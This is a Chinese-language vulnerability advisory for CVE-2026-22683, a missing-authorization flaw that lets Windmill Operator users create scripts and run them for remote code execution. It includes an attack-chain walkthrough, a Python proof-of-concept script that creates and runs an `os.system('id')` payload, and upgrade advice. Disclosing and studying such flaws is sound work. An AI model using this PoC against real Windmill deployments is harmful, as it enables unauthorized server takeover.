IPBUF安全漏洞报告
English
CVE-2026-22683 CVSS 8.8 高危

CVE-2026-22683 Windmill权限提升致RCE漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-22683
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Windmill

相关标签

权限提升远程代码执行WindmillAPI安全CVE-2026-22683RCE

漏洞概述

Windmill版本1.56.0至1.614.0中存在一个严重的缺失授权漏洞。尽管Operator角色在文档中被定义为不具备创建或修改实体的权限,但后端API并未在工作空间端点上有效执行这一限制。这一缺陷允许拥有Operator角色的用户通过后端API绕过限制,非法创建和更新脚本、流程、应用程序等实体。结合Operator角色通过作业API执行脚本的能力,攻击者可利用此漏洞直接将权限提升至远程代码执行(RCE),从而完全控制Windmill部署环境,造成严重的安全风险。

技术细节

该漏洞的根本原因在于Windmill后端API对于“Operator”角色的权限控制逻辑存在疏漏。在受影响的版本中,系统设计意图是限制Operator角色仅能执行任务而不能修改工作区资源。然而,处理特定API端点(如/scripts, /flows等)的代码缺少必要的权限校验中间件。攻击者只需获取一个低权限的Operator账号,即可直接向这些端点发送构造好的HTTP请求(如PUT或POST),写入包含恶意Python或Bash代码的脚本文件。由于系统允许Operator调用Job API来运行这些脚本,恶意代码便会在服务器上下文中被执行。这种利用方式将原本受限的只读权限直接转化为系统级权限,实现了无需用户交互的远程代码执行。

攻击链分析

STEP 1
侦察与访问
攻击者获取Windmill实例的一个Operator角色账号,该角色本应仅具备执行权限而无写入权限。
STEP 2
权限绕过
攻击者利用后端API未对Operator角色进行严格校验的漏洞,向/workspace端点发送请求,创建包含恶意代码的脚本或更新现有脚本。
STEP 3
触发执行
攻击者调用Jobs API,以Operator身份请求运行刚刚创建或修改的恶意脚本。
STEP 4
获取控制权
服务器端执行脚本中的恶意代码,导致远程代码执行(RCE),攻击者借此控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "https://windmill-target.com" WORKSPACE = "demo" API_TOKEN = "OPERATOR_USER_TOKEN" # Low-privilege Operator token headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Create a malicious script exploiting the missing authorization # The API should reject this for an Operator, but it doesn't in vulnerable versions. script_name = "f/malicious_payload" create_script_url = f"{TARGET_URL}/api/w/{WORKSPACE}/{script_name}" payload = { "content": "import os; os.system('id')", # Arbitrary command execution "language": "python3", "is_template": False } print(f"[*] Attempting to create script at {create_script_url}...") response = requests.put(create_script_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Script created successfully! Authorization bypassed.") # Step 2: Execute the script using the Jobs API # Operators inherently have permission to run jobs. run_job_url = f"{TARGET_URL}/api/jobs/run/{script_name}" print(f"[*] Triggering execution via {run_job_url}...") exec_response = requests.post(run_job_url, headers=headers) if exec_response.status_code == 200: print("[+] Job executed successfully.") print(f"[+] Job details: {exec_response.json()}") else: print(f"[-] Execution failed: {exec_response.text}") else: print(f"[-] Failed to create script: {response.text}")

影响范围

Windmill 1.56.0 - 1.614.0

防御指南

临时缓解措施
建议立即将Windmill升级到1.615.0或更高版本以修复此漏洞。若无法立即升级,应严格限制Operator角色的授予范围,仅对完全信任的用户开放,并密切监控API日志中是否存在异常的脚本创建或修改请求,以及时发现潜在的利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表